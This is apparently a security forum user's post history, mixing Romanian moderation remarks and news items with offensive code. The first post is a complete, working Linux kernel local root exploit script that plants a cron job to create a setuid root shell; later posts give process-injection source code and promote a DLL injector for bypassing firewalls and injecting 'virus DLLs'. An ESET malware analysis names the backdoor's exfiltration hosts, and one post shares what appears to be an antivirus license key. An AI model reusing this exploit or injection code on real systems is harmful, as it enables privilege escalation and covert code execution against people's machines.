- 
                
Posts
18772 - 
                
Joined
 - 
                
Last visited
 - 
                
Days Won
730 
Everything posted by Nytro
- 
	Local root 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp #!/bin/sh # # PRCTL local root exp By: Sunix # + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp # tested on Intel(R) Xeon(TM) CPU 3.20GHz # kernel 2.6.9-22.ELsmp # maybe others ... # Tx to drayer & RoMaNSoFt for their clear code... # # zmia23@yahoo.com cat > /tmp/getsuid.c << __EOF__ #include <stdio.h> #include <sys/time.h> #include <sys/resource.h> #include <unistd.h> #include <linux/prctl.h> #include <stdlib.h> #include <sys/types.h> #include <signal.h> char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n"; int main() { int child; struct rlimit corelimit; corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit); if ( !( child = fork() )) { chdir("/etc/cron.d"); prctl(PR_SET_DUMPABLE, 2); sleep(200); exit(1); } kill(child, SIGSEGV); sleep(120); } __EOF__ cat > /tmp/s.c << __EOF__ #include<stdio.h> main(void) { setgid(0); setuid(0); system("/bin/sh"); system("rm -rf /tmp/s"); system("rm -rf /etc/cron.d/*"); return 0; } __EOF__ echo "wait aprox 4 min to get sh" cd /tmp cc -o s s.c cc -o getsuid getsuid.c ./getsuid ./s rm -rf getsuid* rm -rf s.c rm -rf prctl.sh Sursa: Local root exploits
 - 
	Physical Penetration Testing Toolkit Most penetration testing companies provide and physical penetration testing as part of their services.Some of them are taking this service more seriously than others as they are spending part of their budget to obtain specialized costumes and equipment that can be used in physical penetration tests.In this article we will examine some of the equipment that is necessary to have if we are going to conduct a physical penetration test. Get Of Jail Free Card This is usually a signed letter from the client which states that the penetration tester is authorized to perform the test and the client is aware.This type of letter will work as a proof in case that things go bad and you will get caught by the security personnel or the police authorities.So the letter must include the contact details of the people that they are aware that a test is performed (preferably people in higher level positions) and must be reachable during the test.This letter should never be forgotten by the penetration tester and it is a good practice to have at least 2 original copies in case that one is lost accidentally or is destroyed. Get Out Of Jail Template Cameras Cameras are important equipment because you can take photos of client documents,facilities and the areas that you have managed to gain access.These photos can be used as evidence in the penetration testing report afterwards.Of course cameras of mobiles phones can be used as well but it is recommended a proper digital camera with large amount of memory. Camera Binoculars Binoculars are useful in cases that you want to observe the security guards from long distance or you want to perform shoulder surfing attacks against the employees of your client.For portability reasons and for not raising any alerts it is advised to buy binoculars that can fit into your pocket. Portable Binoculars Laptops In a physical penetration test someone will assume that a laptop is not needed because all you have to do is to physical penetrate.Wrong!In case that you want to construct a scenario where you will disguise as an employee of the company a laptop is a critical component.Additionally you can have a case where the client will require from you to manage to attach into the internal network. Laptop GPS A GPS device can help you in many ways.First of all you can have an idea of the location that you are going to attack by observing satellite photos before the test.Alternatively you can use Google maps for that but the GPS has the advantage that you can carry it with you during the test and you can mark locations that you want to explore or to avoid.Also it is vital for your support team to know exactly where are you.Before you buy a GPS make sure that the device can export the route that you took in order to include it into the report. GPS Device Lock Picking Tools Of course in a physical penetration test you don’t expect every door to be open so it is essential to have in your bag and a set of lock picking tools.Generally lock picking tools are not very expensive so you will need to choose very carefully the best quality that it will assist your needs as you don’t want to break your client locks. Lock Picking Tools Snap Lock Pick Gun USB Sticks There are scenarios where in a physical penetration test you might require just to plant a USB stick inside the premises of the company that will contain malicious content.This will be the case when the client wants to test their employees awareness against this type of attack.You can use the social engineering toolkit in order to create the malicious USB or you can import your own files. USB Sticks Pwnie Express Tools Pwnie Express is a company that specializes in constructing hardware tools that can be used in physical penetration testing engagements.Most of them are quite expensive but the effectiveness of the tools are high because they look like normal devices so when you will plug them on the network it will be difficult to be discovered by the employees or the administrators.Some of the devices that you can buy are the following: Pwn Plug mini Power Pwn and PwnPhone Pwn Plug Mini Power Pwn Sursa: Physical Penetration Testing Toolkit
 - 
	Aircrack-Ng Megaprimer Part 1: Airmon-Ng Description: Part 1 in a series covering the tools in the aircrack-ng suite. Part 1 discusses airmon-ng. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Aircrack-Ng Megaprimer Part 1: Airmon-Ng
 - 
	Linux/SSHDoor.A Backdoored SSH daemon that steals passwords by Sébastien Duquette Malware Researcher In his summary of New Year predictions by security researchers here at ESET, Stephen Cobb pointed to expanded efforts by malware authors to target the Linux operating system. Looks like that might be right: A blog post published by Sucuri yesterday describes a backdoored version of the SSH daemon discovered on compromised servers. Interestingly, this backdoor was used in conjunction with the malicious Apache module Linux/Chapro.A that we blogged about recently. The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key. The strings related to the hidden behaviors are XOR encoded. This is done to avoid easy identification by searching the binary for suspicious strings. We identified a total of 16 encoded strings. The figure below shows the part of the code responsible for decoding the hidden data by xoring it with the constant 0×23. The HTTP protocol is used to send stolen data to a remote server. The information is first encrypted using a 1024-bit RSA key stored in the binary and then Base64 encoded. The data is sent via an HTTP POST request to the server used for data exfiltration. The binary we analyzed contains two hostnames for servers used to collect data: openssh.info and linuxrepository.org. Both names were probably chosen to avoid raising suspicions from the administrators of the compromised servers. At this point in time, both hostnames point to a server hosted in Iceland with IP 82.221.99.69. When the daemon is started, the backdoor sends the IP and port on which the service is running and the hostname of the server. Whenever a user successfully logs onto the compromised server, the username and password are also sent to the remote server. In addition to stealing credentials, the backdoor guarantees persistence on the compromised host for the attacker in two different ways. First, it has a hard-coded password inserted in the code. If any user logs in using this password, he is automatically granted access to the compromised server. The following figure shows the string comparison between the password provided by a user trying to log in and the hardcoded password. Second, the modified binary also carries an SSH key. If a user logs into the server with the private key corresponding to the hard-coded public key, he is automatically granted access. The backdoor can also retrieve configuration data from the file /var/run/.options. If this file exists the backdoor will use the hostname, backdoor password and SSH key stored in it. The variables are stored one per line in cleartext. As with Linux/Chapro.A, it is hard to tell how this Trojanized SSH daemon made its way on a compromised server but outdated applications or weak passwords are probably to blame. Finding backdoored files can be problematic for most system administrators. We recommend regular use of integrity checking tools plus monitoring of outgoing network connections and regular scanning of all files by an antivirus product. This threat is detected by ESET as Linux/SSHDoor.A. Special thanks to Peter Kosinar, Pierre-Marc Bureau, and Olivier Bilodeau for their help. Analyzed sample MD5 hash: 90dc9de5f93b8cc2d70a1be37acea23a Sursa: Linux/SSHDoor.A Backdoored SSH daemon that steals passwords | ESET ThreatBlog
 - 
	[h=1]DLL injector that inject DLL into Internet Explorer[/h]Started By zwclose7, Dec 17 2012 01:14 PM [h=3]zwclose7 IE Injector (ieinj) allow you to inject any DLLs into Internet Explorer (iexplore.exe). The process only serves as a host for the DLL and the origial code of Internet Explorer is not executed.[/h]Usage: ieinj [DLL path] The steps of DLL injection: 1) Read the DLL path form the command line. 2) Search for the Internet Explorer executable file (iexplore.exe) from Program Files folder. 3) Start the Internet Explorer. 4) Write the DLL path into target process's memory. 5) Create a remote thread to load the DLL. 6) The injected DLL will execute it code from the DllMain function. 7) Terminate the primary thread of Internet Explorer so the origial code of the IE is not executed. 8) The injected DLL can create a new thread to execute it code. The code will execute within the Internet Explorer. http://www.youtube.com/watch?v=dm0gGmjmKOc&feature=player_embedded Note: Your DLL must have the DllMain function to execute code or the process will exit after the injection. This tool is useful for bypassing firewalls since Internet Explorer is allowed to access network by most firewalls. This tool is also useful for injecting virus DLLs into Internet Explorer. The file dll.dll is an example DLL to test the injector. The DLL will display a message box when it is loaded into a process. Download here http://www.rohitab.com/discuss/index.php?app=core&module=attach§ion=attach&attach_id=3745 Sursa: DLL injector that inject DLL into Internet Explorer - rohitab.com - Forums
 - 
	[h=1]My codecave injector[/h] Started By zwclose7, Yesterday, 04:57 AM [h=3]zwclose7 This is my first codecave injector. It inject a codecave into another process. The injected codecave will play a beep sound, and than display a message box.[/h] #include <iostream> #include <Windows.h> using namespace std; typedef BOOL (WINAPI *fnBeep)(DWORD,DWORD); typedef int (WINAPI *fnMessageBoxA)(HWND,LPCSTR,LPCSTR,UINT); struct PARAMETERS{ DWORD BEEP; DWORD MSGBOX; DWORD freq; DWORD time; HWND hWnd; char text[60]; char title[60]; UINT type; }; static DWORD ThreadProc(PARAMETERS * data){ fnBeep beep=(fnBeep)data->BEEP; fnMessageBoxA msgbox=(fnMessageBoxA)data->MSGBOX; beep(data->freq,data->time); msgbox(data->hWnd,data->text,data->title,data->type); return 0; } static DWORD Useless(){ return 0; } int main(){ DWORD PID; DWORD TID; DWORD exts; HANDLE hToken; LUID luid; LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid); TOKEN_PRIVILEGES tp; tp.Privileges[0].Luid=luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.PrivilegeCount=1; OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL); PARAMETERS data; data.freq=1000; data.time=1000; data.hWnd=0; strcpy(data.text,"Hello world"); strcpy(data.title,"Codecave"); data.type=MB_ICONINFORMATION; HMODULE k32=LoadLibrary("kernel32.dll"); HMODULE u32=LoadLibrary("user32.dll"); data.BEEP=(DWORD)GetProcAddress(k32,"Beep"); data.MSGBOX=(DWORD)GetProcAddress(u32,"MessageBoxA"); DWORD SizeofProc=(LPBYTE)Useless-(LPBYTE)ThreadProc; cout <<"Enter PID: "; cin >>PID; HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID); if(hProcess==NULL){ cout <<"\nUnable to open process handle.\n\n"; return 1; } cout <<"\nProcess handle opened.\n\n"; cout <<"Allocating memory for thread data.\n\n"; HANDLE pData=VirtualAllocEx(hProcess,NULL,256,MEM_COMMIT,PAGE_READWRITE); if(pData==NULL){ cout <<"Unable to allocate memory for thread data.\n\n"; CloseHandle(hProcess); return 1; } cout <<"Allocating memory for thread code.\n\n"; HANDLE code=VirtualAllocEx(hProcess,NULL,256,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if(code==NULL){ cout <<"Unable to allocate memory for thread code.\n\n"; CloseHandle(hProcess); return 1; } cout <<"Writing thread data to target process.\n\n"; if(!WriteProcessMemory(hProcess,pData,&data,sizeof(data),NULL)){ cout <<"Unable to write thread data to target process.\n\n"; CloseHandle(hProcess); return 1; } cout <<"Writing thread code to target process.\n\n"; if(!WriteProcessMemory(hProcess,code,(void*)ThreadProc,SizeofProc,NULL)){ cout <<"Unable to write thread code to target process.\n\n"; CloseHandle(hProcess); return 1; } cout <<"Data address: "<<pData<<"\n\n"; cout <<"Code address: "<<code<<"\n\n"; cout <<"Creating remote thread within target process.\n\n"; HANDLE hThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)code,pData,0,&TID); if(hThread==NULL){ cout <<"Unable to create remote thread within target process.\n\n"; CloseHandle(hProcess); return 1; } cout <<"Thread created. Thread ID: "<<TID<<"\n\n"; cout <<"Waiting for the thread to terminate.\n\n"; WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&exts); cout <<"Thread terminated with status code "<<exts<<".\n\n"; cout <<"Closing thread handle.\n\n"; CloseHandle(hThread); cout <<"Closing process handle.\n\n"; CloseHandle(hProcess); return 0; } Sursa: My codecave injector - rohitab.com - Forums
 - 
	Eu cred ca nu e necesar un premiu pentru ca cineva sa demonstreze de ce este in stare...
 - 
	Da, interesant...
 - 
	Milogilor, invatati sa oferiti ceva inainte de a cere. Ca sa intelegeti si voi, cei mai inapti din punct de vedere intelectual, regula a fost pusa din doua motive: 1. Pentru a evita leecherii, adica milogii, adica cei ca acest specimen de mai sus care nu contribuie cu nimic, nu ajuta pe nimeni dar vine cu miloaga 2. Din acele posturi iti poti da seama de cateva lucruri despre o persoana, daca gandeste matur sau daca e un copil prost si needucat ca fiinta de mai sus.
 - 
	[h=1]Convorbirile de pe Skype, interceptate? Microsoft a intrat intr-un mare scandal[/h]de Redactia Hit | 25 ianuarie 2013 Mai multi activisti internet, jurnalisti, dar si fundatii importante si specialisti in securitate IT atrag atentia ca apelurile efectuate prin Skype le-ar fi fost interceptate. Microsoft este somata de mai multi utilizatori, printr-o scrisoare deschisa, sa investigheze problema de securitate. Scrisoarea deschisa, care a fost publicata ieri de grupul din care fac parte si mai mult avocati care apara dreptul la confidentialitatea datelor utilizatorilor, solicita Microsoft sa faca publica documentatia referitoare la practicile de securitate si confidentialitate a informatiilor pe care se bazeaza serviciul VoIP Skype. Microsoft a achizitionat, in octombrie 2011, Skype, printr-o tranzactie in valoare de 8,5 miliarde de dolari. In scrisoare, semnatarii isi manifesta ingrijorarea fata de nivelul de acces pe care l-ar putea avea institutiile guvernamentale la continutul comunicatiilor prin Skype. Printre cei care au semnat scrisoarea deschisa se numara Electronic Freedom Foundation, Reporteri Fara Frontiere, Initiativa Egipteana pentru Drepturile Omului si Tibet Action Institute. Ingrijorarea semnatarilor este legata si de faptul ca Microsoft va inlocui total Windows Messenger Live cu Skype, in luna martie, iar daca problema interceptarii comunicatiilor prin serviciul VoIP se confirma, atunci numarul userilor care ar putea fi "ascultati" si supravegheati oricand creste foarte considerabil. Sursa: The Verge, Cnet Via: Convorbirile de pe Skype, interceptate? Microsoft a intrat intr-un mare scandal | Hit.ro
 - 
	Bitdefender 2013 Felicit?ri! Ai primit o cheie pentru Bitdefender Internet Security 2013 ——————— L6SAS0E ——————— Pentru a folosi aceast? cheie trebuie doar s? dai click aici Dac? produsul nu se activeaz? în interval de 30 de zile, cheia va fi invalidat?.
 - 
	Tot in legatura cu subiectul https://rstforums.com/forum/64134-3-men-suspected-developing-distributing-gozi-malware-charged.rst
 - 
	3 Men Suspected of Developing and Distributing Gozi Malware Charged January 24th, 2013, 08:20 GMT · By Eduard Kovacs Three individuals, suspected of developing and distributing the notorious Gozi malware, have been charged in a Manhattan federal court. According to the US Department of Justice, the Gozi malware has infected more than one million computers, causing losses totaling tens of millions of dollars. The suspects are Nikita Kuzmin, a Russian national who is believed to have created the malware, Deniss Calovskis, a Latvian who contributed to Gozi’s development, and Romanian Mihai Ionut Paunescu who ran the “bulletproof” hosting service used to distribute the malicious element. Kuzmin, aged 25, was arrested back in November 2010 and already pled guilty to computer intrusion and fraud charges in May 2011. 27-year-old Calovskis was arrested in Latvia in November 2012 and 25-year-old Paunescu was arrested last month in Romania. Court documents reveal that Kuzmin created a list of technical specifications for Gozi back in 2005. He then hired a computer programmer, “CC-1,” to write its source code. Once the malware had been developed, Kuzmin started selling it to his co-conspirators. He contracted Calovskis and others to improve the malicious creation. Authorities believe that Calovskis wrote the code for the web injects. The bulletproof hosting services offered by Paunescu were used not only for the distribution of the Gozi malware, but also for other cybercrimes, such as spam, distributed denial-of-service (DDOS) attacks, and the distribution of other Trojans such as ZeuS and SpyEye. “This long-term investigation uncovered an alleged international cybercrime ring whose far-reaching schemes infected at least one million computers worldwide and 40,000 in the U.S., and resulted in the theft or loss of tens of millions of dollars,” said FBI Assistant Director-in-Charge George Venizelos. “Banking Trojans are to cyber criminals what safe-cracking or acetylene torches are to traditional bank burglars – but far more effective and less detectable. The investigation put an end to the Gozi virus.” If found guilty, Kuzmin faces a maximum penalty of 95 years in prison. Calovskis and Paunescu face 67, respectively 60 years in prison. Sursa: 3 Men Suspected of Developing and Distributing Gozi Malware Charged - Softpedia
 - 
	[h=1]Defrag: Moving Page File, Recovering Encrypted Files, Missing User Account[/h] Posted: Nov 24, 2011 at 10:14 AM By: Larry Larsen Microsoft tech troubleshooter extraordinaire Gov Maharaj and I help walk you through troubleshooting solutions to your tech support problems. If you have a problem you want to send us, you can use the Problem Step Recorder in Windows 7 (see this for details on how) and send us the zip file to DefragShow@microsoft.com. We will also be checking comments for problems, but the email address will let us contact you if needed. [01:15] - OEM media for OS reinstall. [02:22] - How to move the page file from one drive to another. [05:59] - Is there a way to recover encrypted files if you have access to the physical drive? [10:51] - ICS not working on home configuration. [13:59] - Troubleshooting screen reinitialzing on machine. [16:48] - Can't see a user account made on a PC. [18:54] - Floppy drive A: started showing up, how to remove. [20:22] - Calc button on keyboard no longer starts up multiple instances. [22:03] - Pick of the Week: StevieB talking about the Applied Sciences Group. [link] (Hard Rock Cafe [link] [link]) Video: http://channel9.msdn.com/Shows/The-Defrag-Show/Defrag
 - 
	Google Tells Cops to Get Warrants for User E-Mail, Cloud Data By David Kravets 01.23.13 5:29 PM Google demands probable-cause, court-issued warrants to divulge the contents of Gmail and other cloud-stored documents to authorities in the United States — a startling revelation Wednesday that runs counter to federal law that does not always demand warrants. The development surfaced as Google publicly announced that more than two-thirds of the user data Google forwards to government agencies across the United States is handed over without a probable-cause warrant. A Google spokesman told Wired that the media giant demands that government agencies — from the locals to the feds — get a probable-cause warrant for content on its e-mail, Google Drive cloud storage and other platforms — despite the Electronic Communications Privacy Act allowing the government to access such customer data without a warrant if it’s stored on Google’s servers for more than 180 days. “Google requires an ECPA search warrant for contents of Gmail and other services based on the Fourth Amendment to the Constitution, which prevents unreasonable search and seizure,” Chris Gaither, a Google spokesman, said. Some of the customer data doled out without a warrant include names listed when creating Gmail accounts, the IP address from where the account was created, and where and what time a user signs in and out of an account. What’s more, Google hands over without warrants the IP address associated with a particular e-mail sent from a Gmail account or used to change the account password, in addition to the non-content portion of e-mail headers such as the “from,” “to” and “date” fields. It was not immediately known whether other ISPs are traveling Google’s path when it comes to demanding probable-cause warrants for all stored content. But Google can seemingly grant more privacy than the four corners of the law allows because there’s been a string of conflicting court opinions on whether warrants are required for data stored on third-party servers longer than 180 days. The Supreme Court has never weighed in on the topic — and the authorities are seemingly abiding by Google’s rules to avoid a high court showdown. The Electronic Communications Privacy Act of 1986, the relevant law in question, was adopted at a time when e-mail wasn’t stored on servers for a long time, but instead was held there briefly on its way to the recipient’s inbox. In the 1980s, e-mail more than 6 months old was assumed abandoned, and therefore ripe for the taking without a probable-cause warrant. That law is still on the books today, even as the advancement of technology has undermined its original theory. But clearly, changing the law to comport with Google’s interpretation has been met with unreceptive members of Congress. The Senate Judiciary Committee approved a measure last year mirroring Google’s interpretation, but the bill died a quiet death. Moves to change the law have been scuttled over and again. Google’s Transparency Report issued January 23, 2013. For now, under the letter of the ECPA law, the government only needs to show that it has “reasonable grounds to believe” e-mail and other documents stored in the cloud for more than 180 days would be useful to an investigation. Gaither, the Google spokesman, did not know when Google began demanding warrants. But there were two federal appellate decisions on the topic rendered 2010, one requiring a warrant for content and another saying federal judges had the discretion to demand one. Meantime, Google released Wednesday its so-called “Transparency Report” shedding light on government requests for data. Globally, the United States again ranked No. 1 in terms of demands for Google customer data. India, France, Germany, the United Kingdom and Brazil were trailing in that order. The figures for the first time provide a brief outline on whether data was handed over with or without a court warrant — a praiseworthy move we’ve been agitating for at Threat Level following the report’s inception. Google first began releasing its Transparency Report in 2009. Google offers e-mail, cloud storage, a blogging platform, a phone and texting platform, web search and other services. The data Google is coughing up to the authorities includes e-mail and text-messaging communications, cloud-stored documents and, among other things, browsing activity, and even IP addresses used to create an account. In all, agencies across the United States demanded 8,438 times that Google fork over data on some 14,791 accounts for the six-month period ending December 2012. Probable-cause search warrants were issued in 1,896 of the cases. Subpoenas, which require the government to assert that the data is relevant to an investigation, were issued 5,784 times. Google could not quantify the remaining 758. Google’s transparency data is limited as it does not include requests under the Patriot Act, which can include National Security Letters with gag orders attached. Nor do the data include anti-terrorism eavesdropping court orders known as FISA orders or any dragnet surveillance programs legalized in 2008, as those are secret, too. In all those instances, probable-cause warrants generally are not required, even for customer content stored in Google’s servers. Sursa: http://www.wired.com/threatlevel/2013/01/google-says-get-a-warrant/
 - 
	Discutiile specifice sistemelor de operare printre care si Linux se pot purta in categoria "Sisteme de operare". Tutorialele "Linux" pot fi dezvoltate in categoriile pentru Tutoriale, in limba romana, in limba engleza sau video. Termenul "securitate" este mult prea vast si in acelasi timp nu prezinta nimic concret. Prin "hack", sincer, nu inteleg ce vrei sa zici. Aici pot intra multe lucruri, de la comenzi tricky in shell scripting pana la exploit development - local privilege escalation exploits (dezvoltarea acestora). Pentru Tools, asa cum spuneai chiar tu, exista de asemenea 3 categorii speciale. Problema principala este faptul ca nu se poarta foarte multe discutii legate strict de sistemul de operare Linux. Mai bine zis, se vorbeste destul de putin despre Linux pe aici. In plus, eu as vrea sa evitam crearea unei categorii in care pot sa jur ca 90% dintre discutii ar fi despre Shitubuntu si ar fi probleme intampinate de utilizatorii acestui "colorat" sistem de operare Linux, mai exact ne-am abate de la tema forumului, securitatea IT, si am acoperi ceea ce acopera deja forumuri specializate.
 - 
	Nu. RST e o comunitate in care membri se ajuta reciproc. Mai exact unii ii ajuta pe altii, iar altii, ca tine, vin aici doar pentru nevoile personale, in cazul de fata sa cumpere/vanda ceva. Aici apar si posturile, dar aici apare si ceea ce poarta denumirea de "socializare". Altfel cumperi de la o persoana care te-a ajutat de la x ori decat de la cineva despre care nu stii nimic. Din posturi iti poti da seama atat de cunostintele tehnice ale unei persoane, cat si de modul in care gandeste. Mai exact, daca vezi pe cnv k scrye asha poti avea certitudinea ca nu e o persoana potrivita pentru a colabora.
 - 
	[h=1]Another example usage of RtlCreateUserThread[/h][h=3]Author: zwclose7[/h]This program create remote thread within another process using RtlCreateUserThread function. Instead of using GetProcAddress function to get the function address, it import the function from ntdll.dll directly. Download: http://www.rohitab.com/discuss/index.php?app=core&module=attach§ion=attach&attach_id=3784 #include <iostream> #include <Windows.h> using namespace std; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; EXTERN_C LONG WINAPI RtlCreateUserThread(HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG,PULONG, PVOID,PVOID, PHANDLE,PCLIENT_ID); EXTERN_C LONG WINAPI NtResumeThread(HANDLE ThreadHandle,PULONG SuspendCount); int main(){ HANDLE hThread; CLIENT_ID cid; DWORD PID,exts; PVOID para; char dll[60],func[60]; HANDLE hToken; LUID luid; LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid); TOKEN_PRIVILEGES tp; tp.Privileges[0].Luid=luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.PrivilegeCount=1; OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL); cout <<"==========Remote Thread Creator==========\n\n"; cout <<"This program create remote thread within another process using\nRtlCreateUserThread function. Instead of using\n"; cout <<"GetProcAddress function to get the function address, it import the function\n"; cout <<"from ntdll.dll directly.\n\n"; cout <<"Enter PID:"; cin >>PID; cout <<"Enter DLL name:"; cin >>dll; cout <<"Enter function name:"; cin >>func; cout <<"Enter parameter:"; cin >>para; HMODULE hModule=GetModuleHandle(dll); HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID); RtlCreateUserThread(hProcess,NULL,true,0,0,0,(PVOID)GetProcAddress(hModule,func),para,&hThread,&cid); cout <<"Thread created in suspended state. Press enter to resume it.\n\n"; system("pause"); NtResumeThread(hThread,NULL); WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&exts); cout <<"\n\nThread terminated with status code: "<<exts; CloseHandle(hThread); CloseHandle(hProcess); return 0; } Sursa: Another example usage of RtlCreateUserThread - rohitab.com - Forums
 - 
	[h=1]Bitdefender lanseaza aplicatia gratuita de scanare a PC-urilor 60-Second Virus Scanner[/h] BUCURE?TI, 23 ianuarie 2013– Bitdefender, liderul pie?ei locale de antivirus, lanseaz? aplica?ia gratuit? 60-Second Virus Scanner ce furnizeaz? oric?rui utilizator protec?ie suplimentar? prin intermediul unei tehnologii bazate pe cloud, ce informeaz? asupra tuturor amenin??rilor active. Bitdefender 60-Second Virus Scanner ofer? tuturor utilizatorilor de PC siguran?a c? sistemul lor este verificat de o tehnologie proactiv? de scanare care este disponibil? gratuit oricând. Tehnologia Bitdefender s-a clasat în mod constant pe primul loc în testele de detec?ie realizate de institutele independente de testare a produselor antivirus AV-Test ?i AV-Comparatives. ’’Cu 60-Second Virus Scanner ne propunem s? aducem tehnologia noastr? de top pe cât mai multe calculatoare. Suntem convin?i c? va impresiona utilizatorii de PC-uri prin eficien?? ?i modul discret de func?ionare. Ne a?tept?m ca aplica?ia gratuit? s? fie folosit? de foarte mul?i dintre cei care folosesc deja un ativirus, dar î?i doresc s? afle dac? dac? solu?ia blocheaz? toate amenin??rile informatice’’, a declarat C?t?lin Co?oi, Chief Security Strategist, Bitdefender. Aplica?ia func?ioneaz? concomitent cu orice alt program antivirus, permi?ând utilizatorilor s? verifice dac? softul de securitate î?i face bine treaba. 60-Second Virus Scanner lucreaz? în mod discret, protejeaz? sistemul în timp ce utilizatorii lucreaz? sau se joac? ?i trimite alerte ]n timp real pe m?sur? ce detecteaz? viru?i. Tehnologia bazat? pe cloud nu are niciun impact asupra sistemului din punct de vedere al consumului de resurse. Download: http://download.bitdefender.com/npd/60Second/60Second_ro_ro.exe Sursa: Bitdefender lanseaza aplicatia gratuita de scanare a PC-urilor 60-Second Virus Scanner
 - 
	Erau 100.000 de posturi.
 - 
	Doar utilizatorii cu peste 50 de posturi pot crea un topic: https://rstforums.com/forum/64059-minim-50-de-posturi.rst
 - 
	Pentru a preveni eventuale probleme, limitam accesul persoanelor care pot crea un topic pentru vinde/cumpara la numarul de posturi. Asadar, NU se vor aproba topicuri ale membrilor care nu au cel putin 50 de posturi.
 - 
	Network Security with OpenSSL By Pravir Chandra, Matt Messier, John Viega Publisher : O'Reilly Pub Date : June 2002 ISBN : 0-596-00270-X Pages : 384 OpenSSL is a popular and effective open source version of SSL/TLS, the most widely used protocol for secure network communications. The only guide available on the subject, Network Security with OpenSSLdetails the challenges in securing network communications, and shows you how to use OpenSSL tools to best meet those challenges. Focused on the practical, this book provides only the information that is necessary to use OpenSSL safely and effectively. Table of Content Table of Content......................................................................................................ii Dedication .............................................................................................................vi Preface....................................................................................................................vii About This Book .............................................................................................. viii Conventions Used in This Book........................................................................x Comments and Questions ................................................................................xi Acknowledgments..............................................................................................xi Chapter 1. Introduction...........................................................................................1 1.1 Cryptography for the Rest of Us.................................................................1 1.2 Overview of SSL...........................................................................................8 1.3 Problems with SSL .....................................................................................10 1.4 What SSL Doesn't Do Well .......................................................................16 1.5 OpenSSL Basics.........................................................................................17 1.6 Securing Third-Party Software .................................................................18 Chapter 2. Command-Line Interface..................................................................23 2.1 The Basics ...................................................................................................23 2.2 Message Digest Algorithms ......................................................................25 2.3 Symmetric Ciphers .....................................................................................27 2.4 Public Key Cryptography...........................................................................28 2.5 S/MIME.........................................................................................................32 2.6 Passwords and Passphrases ...................................................................33 2.7 Seeding the Pseudorandom Number Generator...................................35 Chapter 3. Public Key Infrastructure (PKI)........................................................37 3.1 Certificates...................................................................................................37 3.2 Obtaining a Certificate ...............................................................................44 3.3 Setting Up a Certification Authority..........................................................47 Chapter 4. Support Infrastructure.......................................................................60 4.1 Multithread Support....................................................................................60 4.2 Internal Error Handling...............................................................................66 4.3 Abstract Input/Output .................................................................................70 4.4 Random Number Generation ...................................................................80 4.5 Arbitrary Precision Math ............................................................................85 4.6 Using Engines.............................................................................................91 Chapter 5. SSL/TLS Programming.....................................................................93 5.1 Programming with SSL..............................................................................93 5.2 Advanced Programming with SSL.........................................................125 Chapter 6. Symmetric Cryptography................................................................143 6.1 Concepts in Symmetric Cryptography...................................................143 6.2 Encrypting with the EVP API ..................................................................145 6.3 General Recommendations ....................................................................161 Chapter 7. Hashes and MACs ..........................................................................162 7.1 Overview of Hashes and MACs .............................................................162 7.2 Hashing with the EVP API.......................................................................163 7.3 Using MACs...............................................................................................168 7.4 Secure HTTP Cookies.............................................................................179 Chapter 8. Public Key Algorithms.....................................................................184 iii 8.1 When to Use Public Key Cryptography.................................................184 8.2 Diffie-Hellman............................................................................................185 8.2 Diffie-Hellman............................................................................................190 8.3 Digital Signature Algorithm (DSA)..........................................................195 8.4 RSA.............................................................................................................200 8.5 The EVP Public Key Interface ................................................................205 8.6 Encoding and Decoding Objects............................................................213 Chapter 9. OpenSSL in Other Languages ......................................................220 9.1 Net::SSLeay for Perl ................................................................................220 9.2 M2Crypto for Python ................................................................................225 9.3 OpenSSL Support in PHP.......................................................................233 Chapter 10. Advanced Programming Topics..................................................241 10.1 Object Stacks..........................................................................................241 10.2 Configuration Files .................................................................................242 10.3 X.509 ........................................................................................................245 10.4 PKCS#7 and S/MIME............................................................................259 10.5 PKCS#12.................................................................................................268 Appendix A. Command-Line Reference..........................................................270 asn1parse............................................................................................................270 ca ........................................................................................................................271 ciphers ................................................................................................................277 crl .......................................................................................................................277 crl2pkcs7 ............................................................................................................279 dgst.....................................................................................................................280 dhparam..............................................................................................................281 dsa ......................................................................................................................282 dsaparam ............................................................................................................284 enc ......................................................................................................................285 errstr ...................................................................................................................287 gendsa ................................................................................................................287 genrsa .................................................................................................................288 nseq ....................................................................................................................289 passwd................................................................................................................289 pkcs7 ..................................................................................................................290 pkcs8 ..................................................................................................................291 pkcs12 ................................................................................................................293 rand ....................................................................................................................296 req ......................................................................................................................296 rsa.......................................................................................................................301 rsautl...................................................................................................................302 s_client ...............................................................................................................304 s_server ..............................................................................................................306 s_time.................................................................................................................309 sess_id ................................................................................................................311 smime.................................................................................................................312 speed ..................................................................................................................316 spkac ..................................................................................................................316 verify..................................................................................................................317 version................................................................................................................318 x509....................................................................................................................319 iv Colophon 